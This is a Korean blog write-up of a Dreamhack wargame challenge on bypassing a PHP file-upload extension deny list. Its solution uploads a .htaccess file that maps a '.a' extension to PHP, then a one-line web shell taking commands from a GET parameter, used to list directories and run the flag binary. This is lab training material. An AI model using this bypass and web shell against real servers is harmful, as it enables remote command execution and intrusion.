본문 바로가기

드림핵

[드림핵 워게임] Apache htaccess

<문제>

 

<풀이>

문제 사이트에 접속하면 처음으로 보이는 페이지이다.

파일을 업로드할 수 있는 폼을 볼 수 있다.

 

파일을 업로드 해본다.

 

파일이 /upload에 저장되고 클릭해보면 파일이 실행된다.

 

<?php
$deniedExts = array("php", "php3", "php4", "php5", "pht", "phtml");

if (isset($_FILES)) {
    $file = $_FILES["file"];
    $error = $file["error"];
    $name = $file["name"];
    $tmp_name = $file["tmp_name"];
   
    if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
    }else {
        $temp = explode(".", $name);
        $extension = end($temp);
       
        if(in_array($extension, $deniedExts)){
            die($extension . " extension file is not allowed to upload ! ");
        }else{
            move_uploaded_file($tmp_name, "upload/" . $name);
            echo "Stored in: <a href='/upload/{$name}'>/upload/{$name}</a>";
        }
    }
}else {
    echo "File is not selected";
}
?>

upload.php 파일의 코드를 살펴보면

php, php3, php4 등의 확장자를 가지는 파일을 필터링되는 것을 볼 수 있다.

나머지 파일은 upload/에 저장되는 것을 확인할 수 있다.

 

문제의 제목에 주목할 필요가 있다.

chatGPT에 htaccess를 검색해보면,

"Apache 웹 서버에서 사용되는 설정 파일로, 웹 서버 동작과 관련된 다양한 설정을 변경할 수 있습니다.

이 파일을 사용하여 디렉터리 레벨에서 웹 서버 설정을 지정할 수 있습니다."

와 같은 답변을 얻을 수 있다.

 

.htaccess 파일을 생성하고

AddHandler php5-script .a

라는 설정 코드를 작성한다.

위의 설정코드는 .a 확장자를 가지는 파일을 php5 스크립트로 실행한다는 뜻이다.

 

해당 파일을 시스템에 업로드한다.

 

다음은 .a 확장자를 가지는 파일을 생성하고

<?php system($_GET['cmd']) ?>

라는 코드를 작성한다.

GET 방식으로 cmd 파라미터의 값을 받아서 시스템 명령어로 실행하는 코드이다.

 

getshell.a라는 파일로 만들어서 시스템에 업로드했다.

 

저장된 파일을 클릭해서 실행한다.

 

url에 ?cmd=ls 를 추가해서 ls 명령어를 실행시켜보면

결과가 잘 뜨는 것을 확인할 수 있다.

 

cd ../으로 path traversal을 하고 ls로 해당 경로의 폴더와 파일을 확인한다.

 

cd ../../../../../; ls

를 입력했을 때 flag를 볼 수 있다.

 

cd ../../../../../;./flag

를 입력해서 flag파일을 실행시켜보면 FLAG가 출력된다.